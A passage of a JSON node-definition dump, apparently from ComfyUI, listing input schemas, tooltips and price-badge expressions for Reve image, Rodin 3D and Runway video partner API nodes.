{"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "edit_instruction", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageEditNode", "display_name": "Reve Image Edit", "description": "Edit images using natural language instructions with Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n $isFast := $contains(widgets.model, \"fast\");\n $enabled := widgets.upscale = \"enabled\";\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $isFast\n ? {\"type\": \"usd\", \"usd\": 0.01001, \"format\": $fmt}\n : $enabled ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0991, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0819, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0686, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.0572, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageRemixNode": {"input": {"required": {"reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image_", "min": 1, "max": 6}}], "prompt": ["STRING", {"tooltip": "Text description of the desired image. May include XML img tags to reference specific images by index, e.g. 0, 1, etc.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for remixing.", "options": [{"key": "reve-remix@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}, {"key": "reve-remix-fast@20251030", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["reference_images", "prompt", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageRemixNode", "display_name": "Reve Image Remix", "description": "Combine reference images with text prompts to create new images using Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n $isFast := $contains(widgets.model, \"fast\");\n $enabled := widgets.upscale = \"enabled\";\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $isFast\n ? {\"type\": \"usd\", \"usd\": 0.01001, \"format\": $fmt}\n : $enabled ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0991, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0819, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0686, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.0572, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Regular": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Regular", "display_name": "Rodin 3D Generate - Regular Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Detail": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Detail", "display_name": "Rodin 3D Generate - Detail Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Smooth": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Smooth", "display_name": "Rodin 3D Generate - Smooth Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Sketch": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Sketch", "display_name": "Rodin 3D Generate - Sketch Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen2": {"input": {"required": {"Images": ["IMAGE", {}], "TAPose": ["BOOLEAN", {"advanced": true, "default": false}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "500K-Triangle", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images", "TAPose"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Gen2", "display_name": "Rodin 3D Generate - Gen-2 Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen25_Image": {"input": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "1-5 images. The first image is used for materials when multi-view.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generation mode. Regular = balanced. Fast = 1K-20K faces for rapid prototyping. Extreme-High = 20K-2M faces with optional micro details.", "options": [{"key": "Regular", "inputs": {"required": {"tier": ["COMBO", {"tooltip": "Quality tier. Higher tiers produce higher-fidelity geometry.", "default": "Gen-2.5-High", "multiselect": false, "options": ["Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "polygon_count": ["COMBO", {"tooltip": "Preset face count. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle", "1M-Triangle"]}], "creative": ["BOOLEAN", {"tooltip": "Creative mode (Medium/High only). Enhances generative robustness.", "default": false}]}}}, {"key": "Fast", "inputs": {"required": {"tier": ["COMBO", {"default": "Gen-2.5-Low", "multiselect": false, "options": ["Gen-2.5-Extreme-Low", "Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count (1K-20K in Fast mode).", "default": 20000, "min": 1000, "max": 20000, "display": "number"}]}}}, {"key": "Extreme-High", "inputs": {"required": {"mesh_mode": ["COMBO", {"default": "Raw", "multiselect": false, "options": ["Raw", "Quad"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count. Raw mode: 20K-2M. Quad mode: keep under 200K (upstream may reject higher values).", "default": 1000000, "min": 20000, "max": 2000000, "display": "number"}], "is_micro": ["BOOLEAN", {"tooltip": "Enable micro detail (Extreme-High only).", "default": false}], "creative": ["BOOLEAN", {"tooltip": "Creative mode. Enhances generative robustness.", "default": false}]}}}]}], "material": ["COMBO", {"default": "Shaded", "multiselect": false, "options": ["PBR", "Shaded", "All", "None"]}], "geometry_file_format": ["COMBO", {"default": "glb", "multiselect": false, "options": ["glb", "fbx", "obj", "stl"]}]}, "optional": {"texture_mode": ["COMBO", {"tooltip": "Texture quality preset. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "legacy", "extreme-low", "low", "medium", "high"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 65535, "control_after_generate": true, "display": "number"}], "TAPose": ["BOOLEAN", {"tooltip": "T/A pose for human-like models.", "advanced": true, "default": false}], "hd_texture": ["BOOLEAN", {"tooltip": "High-quality texture enhancement.", "advanced": true, "default": false}], "texture_delight": ["BOOLEAN", {"tooltip": "Remove baked lighting from textures.", "advanced": true, "default": false}], "use_original_alpha": ["BOOLEAN", {"tooltip": "Preserve image transparency.", "advanced": true, "default": false}], "addon_highpack": ["BOOLEAN", {"tooltip": "HighPack addon: 4K textures and ~16x faces in Quad mode.", "advanced": true, "default": false}], "bbox_width": ["INT", {"tooltip": "Bounding-box width (Y axis). Set to 0 with the others to skip bbox.", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_height": ["INT", {"tooltip": "Bounding-box height (Z axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_length": ["INT", {"tooltip": "Bounding-box length (X axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "height_cm": ["INT", {"tooltip": "Approximate model height in centimeters (0 to skip).", "advanced": true, "default": 0, "min": 0, "max": 10000, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["images", "mode", "material", "geometry_file_format"], "optional": ["texture_mode", "seed", "TAPose", "hd_texture", "texture_delight", "use_original_alpha", "addon_highpack", "bbox_width", "bbox_height", "bbox_length", "height_cm"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D"], "output_is_list": [false], "output_name": ["model_file"], "output_tooltips": [null], "output_matchtypes": null, "name": "Rodin3D_Gen25_Image", "display_name": "Rodin 3D Gen-2.5 - Image to 3D", "description": "Generate a 3D model from 1-5 reference images via Rodin Gen-2.5. Pick a mode (Fast / Regular / Extreme-High) to tune quality vs. cost.", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "addon_highpack", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n(\n $baseCredits := widgets.mode = \"extreme-high\" ? 1.0 : 0.5;\n $addonCredits := widgets.addon_highpack ? 1.0 : 0.0;\n $total := ($baseCredits * 1.5) + ($addonCredits * 0.8);\n {\"type\":\"usd\",\"usd\": $total}\n)\n"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen25_Text": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the 3D model.", "default": "", "multiline": true}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generation mode. Regular = balanced. Fast = 1K-20K faces for rapid prototyping. Extreme-High = 20K-2M faces with optional micro details.", "options": [{"key": "Regular", "inputs": {"required": {"tier": ["COMBO", {"tooltip": "Quality tier. Higher tiers produce higher-fidelity geometry.", "default": "Gen-2.5-High", "multiselect": false, "options": ["Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "polygon_count": ["COMBO", {"tooltip": "Preset face count. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle", "1M-Triangle"]}], "creative": ["BOOLEAN", {"tooltip": "Creative mode (Medium/High only). Enhances generative robustness.", "default": false}]}}}, {"key": "Fast", "inputs": {"required": {"tier": ["COMBO", {"default": "Gen-2.5-Low", "multiselect": false, "options": ["Gen-2.5-Extreme-Low", "Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count (1K-20K in Fast mode).", "default": 20000, "min": 1000, "max": 20000, "display": "number"}]}}}, {"key": "Extreme-High", "inputs": {"required": {"mesh_mode": ["COMBO", {"default": "Raw", "multiselect": false, "options": ["Raw", "Quad"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count. Raw mode: 20K-2M. Quad mode: keep under 200K (upstream may reject higher values).", "default": 1000000, "min": 20000, "max": 2000000, "display": "number"}], "is_micro": ["BOOLEAN", {"tooltip": "Enable micro detail (Extreme-High only).", "default": false}], "creative": ["BOOLEAN", {"tooltip": "Creative mode. Enhances generative robustness.", "default": false}]}}}]}], "material": ["COMBO", {"default": "Shaded", "multiselect": false, "options": ["PBR", "Shaded", "All", "None"]}], "geometry_file_format": ["COMBO", {"default": "glb", "multiselect": false, "options": ["glb", "fbx", "obj", "stl"]}]}, "optional": {"texture_mode": ["COMBO", {"tooltip": "Texture quality preset. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "legacy", "extreme-low", "low", "medium", "high"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 65535, "control_after_generate": true, "display": "number"}], "TAPose": ["BOOLEAN", {"tooltip": "T/A pose for human-like models.", "advanced": true, "default": false}], "hd_texture": ["BOOLEAN", {"tooltip": "High-quality texture enhancement.", "advanced": true, "default": false}], "texture_delight": ["BOOLEAN", {"tooltip": "Remove baked lighting from textures.", "advanced": true, "default": false}], "addon_highpack": ["BOOLEAN", {"tooltip": "HighPack addon: 4K textures and ~16x faces in Quad mode.", "advanced": true, "default": false}], "bbox_width": ["INT", {"tooltip": "Bounding-box width (Y axis). Set to 0 with the others to skip bbox.", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_height": ["INT", {"tooltip": "Bounding-box height (Z axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_length": ["INT", {"tooltip": "Bounding-box length (X axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "height_cm": ["INT", {"tooltip": "Approximate model height in centimeters (0 to skip).", "advanced": true, "default": 0, "min": 0, "max": 10000, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "mode", "material", "geometry_file_format"], "optional": ["texture_mode", "seed", "TAPose", "hd_texture", "texture_delight", "addon_highpack", "bbox_width", "bbox_height", "bbox_length", "height_cm"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D"], "output_is_list": [false], "output_name": ["model_file"], "output_tooltips": [null], "output_matchtypes": null, "name": "Rodin3D_Gen25_Text", "display_name": "Rodin 3D Gen-2.5 - Text to 3D", "description": "Generate a 3D model from a text prompt via Rodin Gen-2.5. Pick a mode (Fast / Regular / Extreme-High) to tune quality vs. cost.", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "addon_highpack", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n(\n $baseCredits := widgets.mode = \"extreme-high\" ? 1.0 : 0.5;\n $addonCredits := widgets.addon_highpack ? 1.0 : 0.0;\n $total := ($baseCredits * 1.5) + ($addonCredits * 0.8);\n {\"type\":\"usd\",\"usd\": $total}\n)\n"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayFirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "end_frame": ["IMAGE", {"tooltip": "End frame to be used for the video. Supported for gen3a_turbo only."}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["768:1280", "1280:768"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "end_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayFirstLastFrameNode", "display_name": "Runway First-Last-Frame to Video", "description": "Upload first and last keyframes, draft a prompt, and generate a video. More complex transitions, such as cases where the Last frame is completely different from the First frame, may benefit from the longer 10s duration. This would give the generation more time to smoothly transition between the two inputs. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/34170748696595-Creating-with-Keyframes-on-Gen-3.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayImageToVideoNodeGen3a": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["768:1280", "1280:768"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayImageToVideoNodeGen3a", "display_name": "Runway Image to Video (Gen3a Turbo)", "description": "Generate a video from a single starting frame using Gen3a Turbo model. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/33927968552339-Creating-with-Act-One-on-Gen-3-Alpha-and-Turbo.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayImageToVideoNodeGen4": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["1280:720", "720:1280", "1104:832", "832:1104", "960:960", "1584:672"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayImageToVideoNodeGen4", "display_name": "Runway Image to Video (Gen4 Turbo)", "description": "Generate a video from a single starting frame using Gen4 Turbo model. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/37327109429011-Creating-with-Gen-4-Video.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayTextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "ratio": ["COMBO", {"multiselect": false, "options": ["1920:1080", "1080:1920", "1024:1024", "1360:768", "1080:1080", "1168:880", "1440:1080", "1080:1440", "1808:768", "2112:912"]}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Optional reference image to guide the generation"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "ratio"], "optional": 